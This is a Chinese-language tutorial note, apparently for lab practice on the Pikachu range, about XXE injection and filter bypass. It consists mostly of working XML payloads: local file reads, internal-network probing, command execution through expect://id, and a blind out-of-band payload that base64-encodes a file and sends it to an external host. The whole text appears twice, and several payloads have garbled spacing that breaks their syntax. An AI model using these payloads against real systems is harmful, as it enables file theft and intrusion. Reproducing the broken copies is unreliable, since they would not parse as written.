XML&XXE利用检测绕过()-其他
XML&XXE利用检测绕过()
概念:XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
利用:输出形式(有回显:协议玩法(http,file,各脚本支持协议)、外部引用,无回显:外部引用-反向链接配合)过滤绕过(协议玩法,外部引用,编码UTF-16BE)
实例——pikachupikachu-xxe:#玩法-读文件<?xml version=”1.0″?><!DOCTYPE ANY [ <!ENTITY xxe SYSTEM “file:///d://test.txt”>]><x>&xxe;</x>#玩法-内网探针或攻击内网应用(触发漏洞地址)<?xml version=”1.0″ encoding=”UTF-8″?><!DOCTYPE foo [< ! ELEMENT foo ANY ><!ENTITY rabbit SYSTEM “http:/ /192.168.0.103:8081/ index. txt”>]><x>&rabbit;</x>
#玩法-RCE该cASE是在安装expect扩展的Hp环境里执行系统命令<?xml version = “1.0”?><! DOCTYPE ANY [<!ENTITY xxe SYSTEM “expect://id” >]><x>&xxe;</x>
#引入外部实体dtd<?xml version=”1.0″ ?>< ! DOCTYPE test [<!ENTITY % file SYSTEM “http://127.0.0.1:8081/evil2. dtd”>%file;|]><x>&send;</x>evi12. dtd:<! ENTITY send SYSTEM “file: ///d: /test. txt”>
#无回显-读取文件<?xml version=”1.0″?>< !DOCTYPE test [<!ENTITY % file SYSTEM “php://filter/ read=convert.base64-encode/ resource=d:/test. txt”><!ENTITY % dtd SYSTEM “http://192.168.0.103:8081/test. dtd”>%dtd;%send;]>test. dtd:<!ENTITY % payload”<!ENTITY % send SYSTEM’http://192.168.0. 103:8081/ ?data=%file; ‘>”>%%payload;
黑盒检测:通过BP抓包,判断数据格式类型,Content-type值判断(text/xml,application/xml),更改Content-type值看返回
靶场推荐:xxe-labvulnhub靶场 (偏向实际)
概念:XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
利用:输出形式(有回显:协议玩法(http,file,各脚本支持协议)、外部引用,无回显:外部引用-反向链接配合)过滤绕过(协议玩法,外部引用,编码UTF-16BE)
实例——pikachupikachu-xxe:#玩法-读文件<?xml version=”1.0″?><!DOCTYPE ANY [ <!ENTITY xxe SYSTEM “file:///d://test.txt”>]><x>&xxe;</x>#玩法-内网探针或攻击内网应用(触发漏洞地址)<?xml version=”1.0″ encoding=”UTF-8″?><!DOCTYPE foo [< ! ELEMENT foo ANY ><!ENTITY rabbit SYSTEM “http:/ /192.168.0.103:8081/ index. txt”>]><x>&rabbit;</x>
#玩法-RCE该cASE是在安装expect扩展的Hp环境里执行系统命令<?xml version = “1.0”?><! DOCTYPE ANY [<!ENTITY xxe SYSTEM “expect://id” >]><x>&xxe;</x>
#引入外部实体dtd<?xml version=”1.0″ ?>< ! DOCTYPE test [<!ENTITY % file SYSTEM “http://127.0.0.1:8081/evil2. dtd”>%file;|]><x>&send;</x>evi12. dtd:<! ENTITY send SYSTEM “file: ///d: /test. txt”>
#无回显-读取文件<?xml version=”1.0″?>< !DOCTYPE test [<!ENTITY % file SYSTEM “php://filter/ read=convert.base64-encode/ resource=d:/test. txt”><!ENTITY % dtd SYSTEM “http://192.168.0.103:8081/test. dtd”>%dtd;%send;]>test. dtd:<!ENTITY % payload”<!ENTITY % send SYSTEM’http://192.168.0. 103:8081/ ?data=%file; ‘>”>%%payload;
黑盒检测:通过BP抓包,判断数据格式类型,Content-type值判断(text/xml,application/xml),更改Content-type值看返回
靶场推荐:xxe-labvulnhub靶场 (偏向实际)